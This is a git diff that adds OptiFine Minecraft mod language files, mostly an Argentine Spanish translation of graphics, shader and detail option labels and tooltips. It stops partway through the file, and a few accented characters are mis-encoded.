+of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - custom screenshot size +of.options.SCREENSHOT_SIZE.tooltip.4=Capturing bigger screenshots may need more memory. +of.options.SCREENSHOT_SIZE.tooltip.5=Not compatible with Antialiasing. +of.options.SCREENSHOT_SIZE.tooltip.6=Requires GPU framebuffer support. + +of.options.SHOW_GL_ERRORS=Show GL Errors +of.options.SHOW_GL_ERRORS.tooltip.1=Show OpenGL Errors +of.options.SHOW_GL_ERRORS.tooltip.2=When enabled OpenGL errors are shown in the chat. +of.options.SHOW_GL_ERRORS.tooltip.3=Disable it only if there is a known conflict and +of.options.SHOW_GL_ERRORS.tooltip.4=the errors can't be fixed. +of.options.SHOW_GL_ERRORS.tooltip.5=When disabled the errors are still logged in the +of.options.SHOW_GL_ERRORS.tooltip.6=error log and they may still cause a significant FPS drop. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Chat Background +of.options.CHAT_BACKGROUND.tooltip.1=Chat Background +of.options.CHAT_BACKGROUND.tooltip.2= Default - fixed width +of.options.CHAT_BACKGROUND.tooltip.3= Compact - matches line width +of.options.CHAT_BACKGROUND.tooltip.4= OFF - hidden + +of.options.CHAT_SHADOW=Chat Shadow +of.options.CHAT_SHADOW.tooltip.1=Chat Shadow +of.options.CHAT_SHADOW.tooltip.2= ON - use text shadow +of.options.CHAT_SHADOW.tooltip.3= OFF - no text shadow diff --git a/src/assets/minecraft/optifine/lang/es_ar.lang b/src/assets/minecraft/optifine/lang/es_ar.lang new file mode 100644 index 00000000..ade0ad95 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/es_ar.lang @@ -0,0 +1,816 @@ +# General +of.general.ambiguous=ambiguo +of.general.compact=Compacto +of.general.custom=Personalizado +of.general.from=De +of.general.id=ID +of.general.max=Máximo +of.general.restart=Reiniciar +of.general.smart=Smart + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=Antialiasing no es compatible con shaders. +of.message.aa.shaders2=Quitalas para usar esta función. + +of.message.af.shaders1=Anisotrópico no es compatible con shaders. +of.message.af.shaders2=Quitalas para usar esta función. + +of.message.fr.shaders1=No es compatible con shaders. +of.message.fr.shaders2=Quitalas para usar esta función. + +of.message.shaders.aa1=Las shaders no son compatibles con la opción "Antialiasing". +of.message.shaders.aa2=Para desactivarlo, haz clic en Calidad -> Antialiasing. + +of.message.shaders.af1=Las shaders no son compatibles con la opción "Anisotrópico". +of.message.shaders.af2=Para desactivarlo, haz clic en Calidad -> Anisotrópico. + +of.message.shaders.fr1=Las shaders no son compatibles con la opción "Renderizado rápido". +of.message.shaders.fr2=Para desactivarlo, haz clic en Rendimiento -> Renderizado rápido. + +of.message.an.shaders1=No es compatible con shaders. +of.message.an.shaders2=Quitalas para usar esta función. + +of.message.shaders.aa1=No es compatible con la opción "Antialiasing". +of.message.shaders.aa2=Quitalo en Calidad -> Antialiasing -> NO. + +of.message.shaders.af1=No es compatible con la opción "Anisotrópico". +of.message.shaders.af2=Quitalo en Calidad -> Anisotrópico -> NO. + +of.message.shaders.fr1=No es compatible con la opción "Renderizado rápido". +of.message.shaders.fr2=Quitalo en Calidad -> Renderizado rápido -> NO. + +of.message.shaders.an1=No es compatible con Visión en 3D. +of.message.shaders.an2=Quitalo en Opciones varias -> Visión en 3D. + +of.message.shaders.nv1=Requieren una versión de OptiFine más reciente: %s +of.message.shaders.nv2=¿Querés continuar? + +of.message.newVersion=Hay una nueva versión de §eOptiFine§f disponible: §e%s§f +of.message.java64Bit=Instala §eJava de 64-bits§f para mejorar el rendimiento +of.message.openglError=§eError de OpenGL§f: %s (%s) + +of.message.shaders.loading=Cargando shader: %s + +of.message.other.reset=¿Querés restablecer toda la configuración gráfica? + +of.message.loadingVisibleChunks=Cargando chunks visibles + +# Skin customization + +of.options.skinCustomisation.ofCape=Capa de OptiFine... + +of.options.capeOF.title=Capa de OptiFine +of.options.capeOF.openEditor=Editor de capa de OptiFine +of.options.capeOF.reloadCape=Recargar capa + +of.message.capeOF.openEditor=El editor de capa va a abrirse en tu navegador. +of.message.capeOF.openEditorError=Error al abrir el enlace. +of.message.capeOF.reloadCape=La capa se recargará en 15 segundos. + +of.message.capeOF.error1=Error de autenticación con Mojang. +of.message.capeOF.error2=Error: %s + +# Video settings + +options.graphics.tooltip.1= +options.graphics.tooltip.2= Rápida - peor calidad, mejor rendimiento +options.graphics.tooltip.3= Detallada - mejor calidad, requiere mejor PC +options.graphics.tooltip.4= +options.graphics.tooltip.5=Los cambios se aprecian en las nubes, en las hojas, +options.graphics.tooltip.6=en la lluvia, en los ítems tirados y en las +options.graphics.tooltip.7=esquinas (o bordes) de la pantalla del juego. + +of.options.renderDistance.tiny=Mínimo +of.options.renderDistance.short=Corto +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Lejano +of.options.renderDistance.extreme=Extremo +of.options.renderDistance.insane=Insano +of.options.renderDistance.ludicrous=Capo + +options.renderDistance.tooltip.1= 2 Mínimo - 32m (increíblemente rápido) +options.renderDistance.tooltip.2= 4 Corto - 64m (rápido) +options.renderDistance.tooltip.3= 8 Normal - 128m (recomendado) +options.renderDistance.tooltip.4= 16 Lejano - 256m (puede ser lento) +options.renderDistance.tooltip.5= 32 Extremo - 512m (¡puede ser horrible!) +options.renderDistance.tooltip.6= 48 Insano - 768m, usa mínimo 2GB de RAM +options.renderDistance.tooltip.7= 64 Capo - 1024m, usa mínimo 3GB de RAM +options.renderDistance.tooltip.8=A partir de 16 chunks será inútil en multijugador. + +options.ao.tooltip.1=Iluminación suave +options.ao.tooltip.2= NO - sin iluminación suave (rápido) +options.ao.tooltip.3= Mínimo - iluminación suave simple (lento) +options.ao.tooltip.4= Máximo - iluminación suave avanzada (más lento) + +options.framerateLimit.tooltip.1=Límite de FPS +options.framerateLimit.tooltip.2= VSync - limita los FPS según tu monitor (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - límite personalizado +options.framerateLimit.tooltip.4= Sin límite - todos los FPS posibles (recomendado) +options.framerateLimit.tooltip.5= +options.framerateLimit.tooltip.6=Al establecer un límite, los FPS pueden +options.framerateLimit.tooltip.7=disminuir si llegan a alcanzarlo. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Nivel de suavidad +of.options.AO_LEVEL.tooltip.1=Nivel de la iluminación suave +of.options.AO_LEVEL.tooltip.2= NO - sin sombras +of.options.AO_LEVEL.tooltip.3= 50%% - pocas sombras +of.options.AO_LEVEL.tooltip.4= 100%% - sombras oscuras + +options.viewBobbing.tooltip.1=Un movimiento más realista. +options.viewBobbing.tooltip.2=Quitalo al usar mipmap para que se vea mejor. + +options.guiScale.tooltip.1=Tamaño de interfaz (GUI) +options.guiScale.tooltip.2= Auto. - tamaño máximo disponible +options.guiScale.tooltip.3= Pequeña, normal y grande - desde 1x hasta 3x +options.guiScale.tooltip.4= Desde 4x hasta 10x - solo en pantallas 4K. +options.guiScale.tooltip.5= +options.guiScale.tooltip.6=Los valores impares (1x, 3x, 5x...) no son compatibles +options.guiScale.tooltip.7=con la fuente unicode. +options.guiScale.tooltip.8=Una interfaz pequeña puede mejorar el rendimiento. + +options.vbo=VBO +options.vbo.tooltip.1=Vertex Buffer Objects (abreviado como VBO) +options.vbo.tooltip.2= +options.vbo.tooltip.3=Es un sistema de render alternativo que suele ser +options.vbo.tooltip.4=más rápido que el predeterminado (entre 5-10%%). + +options.gamma.tooltip.1= +options.gamma.tooltip.2= Oscuro - brillo por defecto +options.gamma.tooltip.3= 1-99%% - brillo personalizado +options.gamma.tooltip.4= Claro - brillo al máximo +options.gamma.tooltip.5= +options.gamma.tooltip.6=Esta opción no cambia completamente +options.gamma.tooltip.7=el brillo de los objetos más oscuros. + +options.anaglyph.tooltip.1=Modo 3D clásico +options.anaglyph.tooltip.2= +options.anaglyph.tooltip.3=Se usa un color diferente para cada ojo, por +options.anaglyph.tooltip.4=lo que requiere unas buenas lentes rojas y azules. + +options.attackIndicator.tooltip.1=Modifica la ubicación del indicador de ataque +options.attackIndicator.tooltip.2= MIRA - debajo de mira central +options.attackIndicator.tooltip.3= BARRA - cerca de barra de objetos +options.attackIndicator.tooltip.4= NO - sin indicador de ataque +options.attackIndicator.tooltip.5= +options.attackIndicator.tooltip.6=Se indica la fuerza de ataque del ítem +options.attackIndicator.tooltip.7=utilizado con la mano principal. + +of.options.ALTERNATE_BLOCKS=Bloques alternos +of.options.ALTERNATE_BLOCKS.tooltip.1=Bloques con texturas alternas +of.options.ALTERNATE_BLOCKS.tooltip.2=Usar texturas alternativas para un mismo bloque. +of.options.ALTERNATE_BLOCKS.tooltip.3=Depende del paquete de recursos usado. + +of.options.FOG_FANCY=Niebla +of.options.FOG_FANCY.tooltip.1=Tipo de niebla +of.options.FOG_FANCY.tooltip.2= Rápida - se ve en donde estás mirando +of.options.FOG_FANCY.tooltip.3= Detallada - se ve totalmente alrededor +of.options.FOG_FANCY.tooltip.4= NO - sin niebla, mejora el rendimiento +of.options.FOG_FANCY.tooltip.5=La niebla detallada sólo está disponible si +of.options.FOG_FANCY.tooltip.6=tu tarjeta de video lo permite. + +of.options.FOG_START=Distancia de niebla +of.options.FOG_START.tooltip.1=Distancia a la que empieza la niebla +of.options.FOG_START.tooltip.2= 0.2 - la niebla estará cerca +of.options.FOG_START.tooltip.3= 0.8 - la niebla estará lejos +of.options.FOG_START.tooltip.4=Esta opción no afecta al rendimiento. + +of.options.CHUNK_LOADING=Carga de chunks +of.options.CHUNK_LOADING.tooltip.1=Velocidad de carga de chunks +of.options.CHUNK_LOADING.tooltip.2= Por defecto - FPS inestables al cargar chunks +of.options.CHUNK_LOADING.tooltip.3= Suave - FPS estables +of.options.CHUNK_LOADING.tooltip.4= Multinúcleo - FPS estables y una velocidad 3 veces superior +of.options.CHUNK_LOADING.tooltip.5=Las opciones "Suave" y "Multinúcleo" eliminan los tirones y +of.options.CHUNK_LOADING.tooltip.6=la lentitud causada por la carga de chunks. +of.options.CHUNK_LOADING.tooltip.7=Multinúcleo puede acelerar la carga hasta 3 veces más y +of.options.CHUNK_LOADING.tooltip.8=mejorar los FPS al usar un segundo núcleo del CPU. +of.options.chunkLoading.smooth=Suave +of.options.chunkLoading.multiCore=Multinúcleo + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=SIN SHADERS +of.options.shaders.packDefault=SHADER INTERNA DE OPTIFINE + +of.options.shaders.ANTIALIASING=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.1=Nivel de antialiasing +of.options.shaders.ANTIALIASING.tooltip.2= NO - por defecto (rápido) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - mejora líneas y esquinas (más lento) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA es un efecto de posprocesamiento que suaviza +of.options.shaders.ANTIALIASING.tooltip.5="dientes de sierra" y transiciones de color. +of.options.shaders.ANTIALIASING.tooltip.6=Funciona mejor que el antialiasing común, y +of.options.shaders.ANTIALIASING.tooltip.7=es compatible con Renderizado rápido y shaders. + +of.options.shaders.NORMAL_MAP=Mapeado normal +of.options.shaders.NORMAL_MAP.tooltip.1=También llamado Normal Map +of.options.shaders.NORMAL_MAP.tooltip.2= Sà - (por defecto) +of.options.shaders.NORMAL_MAP.tooltip.3= NO +of.options.shaders.NORMAL_MAP.tooltip.4=Puede usarse por shaders para simular geometría 3D +of.options.shaders.NORMAL_MAP.tooltip.5=en superficies planas. +of.options.shaders.NORMAL_MAP.tooltip.6= +of.options.shaders.NORMAL_MAP.tooltip.7=No todas las shaders soportan esta opción. + +of.options.shaders.SPECULAR_MAP=Mapeado especular +of.options.shaders.SPECULAR_MAP.tooltip.1=También llamado Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.2= Sà - (por defecto) +of.options.shaders.SPECULAR_MAP.tooltip.3= NO +of.options.shaders.SPECULAR_MAP.tooltip.4=Esta opción puede ser usada por shaders para simular +of.options.shaders.SPECULAR_MAP.tooltip.5=un efecto de reflejo especial. +of.options.shaders.SPECULAR_MAP.tooltip.6= +of.options.shaders.SPECULAR_MAP.tooltip.7=No todas las shaders soportan esta opción. + + +of.options.shaders.RENDER_RES_MUL=Calidad render. +of.options.shaders.RENDER_RES_MUL.tooltip.1=Calidad de renderizado del juego +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - bajo (más rápido, más borroso) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - normal (por defecto) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - alto (más lento, más calidad) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Controla la resolución interna a la que se renderiza. +of.options.shaders.RENDER_RES_MUL.tooltip.6= +of.options.shaders.RENDER_RES_MUL.tooltip.7=Valor bajo = aumenta el rendimiento. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Valor alto = sirve como antialiasing. + +of.options.shaders.SHADOW_RES_MUL=Calidad sombras +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Calidad de sombras +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - bajo (más rápido) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - normal (por defecto) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - alto (más lento) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Controla el render de sombras de las shaders. +of.options.shaders.SHADOW_RES_MUL.tooltip.6= +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Valor bajo = borrosas, líneas gruesas. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Valor alto = detalladas, líneas definidas. + +of.options.shaders.HAND_DEPTH_MUL=Pr. de campo +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Profundidad de campo +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - mano cerca de la cámara +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (por defecto) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - mano lejos de la cámara +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Controla la distancia entre la mano y la cámara. +of.options.shaders.HAND_DEPTH_MUL.tooltip.6= +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Puede cambiar el desenfoque producido en la mano +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=por las shaders que usan blur. + +of.options.shaders.CLOUD_SHADOW=Sombras de nubes + +of.options.shaders.OLD_HAND_LIGHT=I.V. manos +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Modifica el sistema de iluminación de tus manos +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Por defecto - lo controla la shader +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Sà - usar iluminación vieja en manos +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= NO - usar iluminación moderna en manos +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=La iluminación vieja (abreviado I.V.) en las manos permite +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=que ítems diseñados para emitir luz en la mano principal, +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=también lo hagan en la mano secundaria. + +of.options.shaders.OLD_LIGHTING=Ilum. vieja +of.options.shaders.OLD_LIGHTING.tooltip.1=Modifica el sistema de iluminación +of.options.shaders.OLD_LIGHTING.tooltip.2= Por defecto - lo controla la shader +of.options.shaders.OLD_LIGHTING.tooltip.3= Sà - usar iluminación vieja +of.options.shaders.OLD_LIGHTING.tooltip.4= NO - usar iluminación moderna +of.options.shaders.OLD_LIGHTING.tooltip.5=Controla la iluminación estática que Minecraft +of.options.shaders.OLD_LIGHTING.tooltip.6=aplica a los lados de cada bloque. +of.options.shaders.OLD_LIGHTING.tooltip.7=Algunas shaders suelen usar un sistema de iluminación +of.options.shaders.OLD_LIGHTING.tooltip.8=mejorado, que varía según la posición del sol. + +of.options.shaders.DOWNLOAD=Descargar shaders +of.options.shaders.DOWNLOAD.tooltip.1= +of.options.shaders.DOWNLOAD.tooltip.2=Para descargarte un paquete de shaders: +of.options.shaders.DOWNLOAD.tooltip.3=1. Abre la web de shaders en tu navegador. +of.options.shaders.DOWNLOAD.tooltip.4=2. Descargá las shaders que te gusten. +of.options.shaders.DOWNLOAD.tooltip.5=3. Abrí la "Carpeta de shaders" y copialas. +of.options.shaders.DOWNLOAD.tooltip.6= +of.options.shaders.DOWNLOAD.tooltip.7=¿Viste? Es rrrre fácil. + +of.options.shaders.SHADER_PACK=Paquete de shader + +of.options.shaders.shadersFolder=Carpeta de shaders +of.options.shaders.shaderOptions=Opciones de shader... + +of.options.shaderOptionsTitle=Opciones de shader + +of.options.quality=Calidad... +of.options.qualityTitle=Opciones de calidad gráfica + +of.options.details=Detalles... +of.options.detailsTitle=Opciones de detalles gráficos + +of.options.performance=Rendimiento... +of.options.performanceTitle=Opciones de rendimiento + +of.options.animations=Animaciones... +of.options.animationsTitle=Activar o desactivar animaciones + +of.options.other=Opciones varias... +of.options.otherTitle=Opciones varias + +of.options.other.reset=Restablecer toda la configuración... + +of.shaders.profile=Perfil + +# Quality + +of.options.mipmap.bilinear=Bilineal +of.options.mipmap.linear=Lineal +of.options.mipmap.nearest=Cercano +of.options.mipmap.trilinear=Trilineal + +options.mipmapLevels.tooltip.1=Efecto visual que hace que los objetos lejanos luzcan +options.mipmapLevels.tooltip.2=mejor gracias a que suaviza los detalles de su textura +options.mipmapLevels.tooltip.3= +options.mipmapLevels.tooltip.4= NO - sin suavizado +options.mipmapLevels.tooltip.5= 1 - suavizado mínimo +options.mipmapLevels.tooltip.6= 4 - suavizado máximo +options.mipmapLevels.tooltip.7= +options.mipmapLevels.tooltip.8=Normalmente esta opción no afecta al rendimiento. + +of.options.MIPMAP_TYPE=Tipo de mipmap +of.options.MIPMAP_TYPE.tooltip.1=Efecto visual que hace que los objetos lejanos luzcan +of.options.MIPMAP_TYPE.tooltip.2=mejor gracias a que suaviza los detalles de su textura +of.options.MIPMAP_TYPE.tooltip.3= +of.options.MIPMAP_TYPE.tooltip.4= Cercano - suavizado bruto (más rápido) +of.options.MIPMAP_TYPE.tooltip.5= Lineal - suavizado normal +of.options.MIPMAP_TYPE.tooltip.6= Bilineal - suavizado fino +of.options.MIPMAP_TYPE.tooltip.7= Trilineal - suavizado muy fino (más lento) + + +of.options.AA_LEVEL=Antialiasing +of.options.AA_LEVEL.tooltip.1=Antialiasing suaviza líneas y bordes de los bloques +of.options.AA_LEVEL.tooltip.2= NO - (por defecto) sin antialiasing (más rápido) +of.options.AA_LEVEL.tooltip.3= 2-16 - nivel de suavizado del antialiasing (más lento) +of.options.AA_LEVEL.tooltip.4= +of.options.AA_LEVEL.tooltip.5= Suaviza los dientes de sierra y mejora la nitidez. +of.options.AA_LEVEL.tooltip.6=Los FPS pueden disminuir considerablemente al activarse. +of.options.AA_LEVEL.tooltip.7=Algunas tarjetas gráficas no soportan todos los niveles. +of.options.AA_LEVEL.tooltip.8= ¡El cambio será aplicado al REINICIAR el juego! + +of.options.AF_LEVEL=Anisotrópico +of.options.AF_LEVEL.tooltip.1=Filtro anisotrópico +of.options.AF_LEVEL.tooltip.2= NO - (por defecto) detalle normal de texturas (rápido) +of.options.AF_LEVEL.tooltip.3= 2-16 - refinar texturas al usar mipmap (más lento) +of.options.AF_LEVEL.tooltip.4= +of.options.AF_LEVEL.tooltip.5= +of.options.AF_LEVEL.tooltip.6=Este filtro recupera detalles al usar mipmap. +of.options.AF_LEVEL.tooltip.7=Los FPS pueden disminuir considerablemente al activarse. + +of.options.CLEAR_WATER=Aguas cristalinas +of.options.CLEAR_WATER.tooltip.1=Aguas cristalinas +of.options.CLEAR_WATER.tooltip.2= Sà - agua limpia y transparente +of.options.CLEAR_WATER.tooltip.3= NO - agua predeterminada del juego + +of.options.RANDOM_ENTITIES=Entidades aleatorias +of.options.RANDOM_ENTITIES.tooltip.1=Si una entidad tiene más de una textura... +of.options.RANDOM_ENTITIES.tooltip.2= NO - una única textura, más rápido +of.options.RANDOM_ENTITIES.tooltip.3= Sà - texturas aleatorias, más lento +of.options.RANDOM_ENTITIES.tooltip.4= +of.options.RANDOM_ENTITIES.tooltip.5=Requiere un paquete de recursos que tenga varias +of.options.RANDOM_ENTITIES.tooltip.6=texturas para una misma entidad. + +of.options.BETTER_GRASS=Mejora de pasto +of.options.BETTER_GRASS.tooltip.1= +of.options.BETTER_GRASS.tooltip.2= NO - pasto normal (por defecto), más rápido +of.options.BETTER_GRASS.tooltip.3= Rápida - todo el bloque lleno de pasto, más lento +of.options.BETTER_GRASS.tooltip.4= Detallada - textura dinámica, mucho más lento + +of.options.BETTER_SNOW=Mejora de nieve +of.options.BETTER_SNOW.tooltip.1= +of.options.BETTER_SNOW.tooltip.2= NO - nieve predeterminada, más rápido +of.options.BETTER_SNOW.tooltip.3= Sà - nieve mejorada, más lento +of.options.BETTER_SNOW.tooltip.4= +of.options.BETTER_SNOW.tooltip.5=Al activarse, la nieve se ve bajo los bloques +of.options.BETTER_SNOW.tooltip.6=transparentes (vallas, pastitos) si se rodean de nieve. + +of.options.CUSTOM_FONTS=Fuentes personalizadas +of.options.CUSTOM_FONTS.tooltip.1=Fuentes personalizadas +of.options.CUSTOM_FONTS.tooltip.2= Sà - usar personalizadas (por defecto), más lento +of.options.CUSTOM_FONTS.tooltip.3= NO - usar la predeterminada, más rápido +of.options.CUSTOM_FONTS.tooltip.4= +of.options.CUSTOM_FONTS.tooltip.5=Algunos paquetes de recursos tienen fuentes +of.options.CUSTOM_FONTS.tooltip.6=personalizadas. + +of.options.CUSTOM_COLORS=Colores personalizados +of.options.CUSTOM_COLORS.tooltip.1=Colores personalizados +of.options.CUSTOM_COLORS.tooltip.2= Sà - colores personalizados (por defecto), más lento +of.options.CUSTOM_COLORS.tooltip.3= NO - colores predeterminados, más rápido +of.options.CUSTOM_COLORS.tooltip.4= +of.options.CUSTOM_COLORS.tooltip.5=Algunos paquetes de recursos tienen colores +of.options.CUSTOM_COLORS.tooltip.6=personalizados. + +of.options.SWAMP_COLORS=Color de pantanos +of.options.SWAMP_COLORS.tooltip.1= +of.options.SWAMP_COLORS.tooltip.2= Sà - color en pantanos (por defecto), más lento +of.options.SWAMP_COLORS.tooltip.3= NO - sin color en los pantanos, más rápido +of.options.SWAMP_COLORS.tooltip.4= +of.options.SWAMP_COLORS.tooltip.5=Afecta a: bl. de pasto, agua, hojas y enredaderas. + +of.options.SMOOTH_BIOMES=Suavizar biomas +of.options.SMOOTH_BIOMES.tooltip.1=Suavizar transición entre biomas +of.options.SMOOTH_BIOMES.tooltip.2= Sà - suavizar cambio entre biomas (por defecto), más lento +of.options.SMOOTH_BIOMES.tooltip.3= NO - no suavizar cambio entre biomas, más rápido +of.options.SMOOTH_BIOMES.tooltip.4= +of.options.SMOOTH_BIOMES.tooltip.5=El suavizado degrada colores entre diferentes biomas +of.options.SMOOTH_BIOMES.tooltip.6= +of.options.SMOOTH_BIOMES.tooltip.7=Afecta a: bl. de pasto, agua, hojas y enredaderas. + +of.options.CONNECTED_TEXTURES=Bloques unidos +of.options.CONNECTED_TEXTURES.tooltip.1=Unir texturas de ciertos bloques +of.options.CONNECTED_TEXTURES.tooltip.2= NO - no unirlas (por defecto) +of.options.CONNECTED_TEXTURES.tooltip.3= Rápidos - unirlas de forma rápida +of.options.CONNECTED_TEXTURES.tooltip.4= Detallados - unirlas de forma mejorada +of.options.CONNECTED_TEXTURES.tooltip.5= +of.options.CONNECTED_TEXTURES.tooltip.6=Unir las texturas de los cristales, de la arenisca y de +of.options.CONNECTED_TEXTURES.tooltip.7=las librerías al juntar los bloques. +of.options.CONNECTED_TEXTURES.tooltip.8=No todos los paquetes de recursos soportan esta opción. + +of.options.NATURAL_TEXTURES=Texturas naturales +of.options.NATURAL_TEXTURES.tooltip.1=Texturas naturales +of.options.NATURAL_TEXTURES.tooltip.2= NO - sin texturas naturales (por defecto) +of.options.NATURAL_TEXTURES.tooltip.3= Sà - con texturas naturales +of.options.NATURAL_TEXTURES.tooltip.4=Esta opción elimina el patrón de los bloques +of.options.NATURAL_TEXTURES.tooltip.5=que se crea al poner bloques del mismo tipo. +of.options.NATURAL_TEXTURES.tooltip.6=Se usan variantes rotadas y voleteadas de la textura +of.options.NATURAL_TEXTURES.tooltip.7=base del bloque. +of.options.NATURAL_TEXTURES.tooltip.8=No todos los paquetes de recursos soportan esta opción. + +of.options.EMISSIVE_TEXTURES=Texturas emisivas +of.options.EMISSIVE_TEXTURES.tooltip.1=Texturas emisivas +of.options.EMISSIVE_TEXTURES.tooltip.2= NO - sin texturas emisivas (por defecto) +of.options.EMISSIVE_TEXTURES.tooltip.3= Sà - con texturas emisivas +of.options.EMISSIVE_TEXTURES.tooltip.4=Las texturas emisivas aparecen superpuestas con +of.options.EMISSIVE_TEXTURES.tooltip.5=el brillo al máximo. Pueden usarse para simular +of.options.EMISSIVE_TEXTURES.tooltip.6=emisión de luz en ciertas partes de una textura base. +of.options.EMISSIVE_TEXTURES.tooltip.7= +of.options.EMISSIVE_TEXTURES.tooltip.8=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_SKY=Cielo personalizado +of.options.CUSTOM_SKY.tooltip.1=Textura personalizada del cielo +of.options.CUSTOM_SKY.tooltip.2= Sà - cielo personalizado (por defecto), más lento +of.options.CUSTOM_SKY.tooltip.3= NO - cielo predeterminado, más rápido +of.options.CUSTOM_SKY.tooltip.4= +of.options.CUSTOM_SKY.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_ITEMS=Objetos personalizados +of.options.CUSTOM_ITEMS.tooltip.1=Textura personalizada de objetos (ítems) +of.options.CUSTOM_ITEMS.tooltip.2= Sà - objetos personalizadas (por defecto), más lento +of.options.CUSTOM_ITEMS.tooltip.3= NO - objetos predeterminados, más rápido +of.options.CUSTOM_ITEMS.tooltip.4= +of.options.CUSTOM_ITEMS.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_ENTITY_MODELS=Entidades personalizadas +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Textura personalizada de las entidades +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Sà - variar modelos de entidades (por defecto), más lento +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= NO - usar modelos predeterminados, más rápido +of.options.CUSTOM_ENTITY_MODELS.tooltip.4= +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_GUIS=Interfaz personalizada +of.options.CUSTOM_GUIS.tooltip.1=Interfaz del juego (GUI) personalizada +of.options.CUSTOM_GUIS.tooltip.2= Sà - interfaz personalizada (por defecto), más lento +of.options.CUSTOM_GUIS.tooltip.3= NO - interfaz original, más rápido +of.options.CUSTOM_GUIS.tooltip.4= +of.options.CUSTOM_GUIS.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +# Details + +of.options.CLOUDS=Nubes +of.options.CLOUDS.tooltip.1=Calidad de las nubes +of.options.CLOUDS.tooltip.2= Por defecto - depende de la calidad gráfica +of.options.CLOUDS.tooltip.3= Rápidas - peor calidad, mejor rendimiento +of.options.CLOUDS.tooltip.4= Detalladas - mayor calidad, peor rendimiento +of.options.CLOUDS.tooltip.5= NO - sin nubes, rendimiento superrápido +of.options.CLOUDS.tooltip.6= +of.options.CLOUDS.tooltip.7=Las nubes rápidas se renderizan en 2D. +of.options.CLOUDS.tooltip.8=Las nubes detalladas se renderizan en 3D. + +of.options.CLOUD_HEIGHT=Elevación de nubes +of.options.CLOUD_HEIGHT.tooltip.1=Editar altura a la que se muestran las nubes +of.options.CLOUD_HEIGHT.tooltip.2= NO - altura por defecto +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - encima del límite del mundo + +of.options.TREES=Ãrboles +of.options.TREES.tooltip.1=Calidad de hojas de árboles +of.options.TREES.tooltip.2= Por defecto - depende de la calidad gráfica +of.options.TREES.tooltip.3= Rápidos - baja calidad, mejor rendimiento +of.options.TREES.tooltip.4= Inteligentes - más calidad, rendimiento medio +of.options.TREES.tooltip.5= Detallados - máxima calidad, peor rendimiento +of.options.TREES.tooltip.6= +of.options.TREES.tooltip.7=La calidad rápida dejará las hojas sin transparencia. +of.options.TREES.tooltip.8="Detallados" e "Inteligentes" sí mantienen la transparencia. + +of.options.RAIN=Lluvia/Nieve +of.options.RAIN.tooltip.1=Lluvia y nieve +of.options.RAIN.tooltip.2= Por defecto - depende de la calidad gráfica +of.options.RAIN.tooltip.3= Rápida - lluvia/nieve ligera, más rápido +of.options.RAIN.tooltip.4= Detallada - lluvia/nieve intensa, más lento +of.options.RAIN.tooltip.5= NO - sin lluvia/nieve, mejora el rendimiento +of.options.RAIN.tooltip.6= +of.options.RAIN.tooltip.7=Aunque se desactive la lluvia, el sonido +of.options.RAIN.tooltip.8=sigue estando activado. + +of.options.SKY=Cielo +of.options.SKY.tooltip.1=Cielo +of.options.SKY.tooltip.2= Sà - cielo visible, más lento +of.options.SKY.tooltip.3= NO - cielo no visible, más lento +of.options.SKY.tooltip.4= +of.options.SKY.tooltip.5=Aunque se desactive, la Luna y el Sol se podrán +of.options.SKY.tooltip.6=seguir viendo. + +of.options.STARS=Cielo estrellado +of.options.STARS.tooltip.1=Visibilidad de estrellas en el cielo nocturno +of.options.STARS.tooltip.2= Sà - estrellas, más lento +of.options.STARS.tooltip.3= NO - sin estrellas, más rápido + +of.options.SUN_MOON=Sol/Luna +of.options.SUN_MOON.tooltip.1=Visibilidad del Sol y la Luna +of.options.SUN_MOON.tooltip.2= Sà - el Sol y la Luna Sà son visibles (por defecto) +of.options.SUN_MOON.tooltip.3= NO - el Sol y la Luna NO son visibles (rápido) + +of.options.SHOW_CAPES=Capas +of.options.SHOW_CAPES.tooltip.1=Capas de jugadores 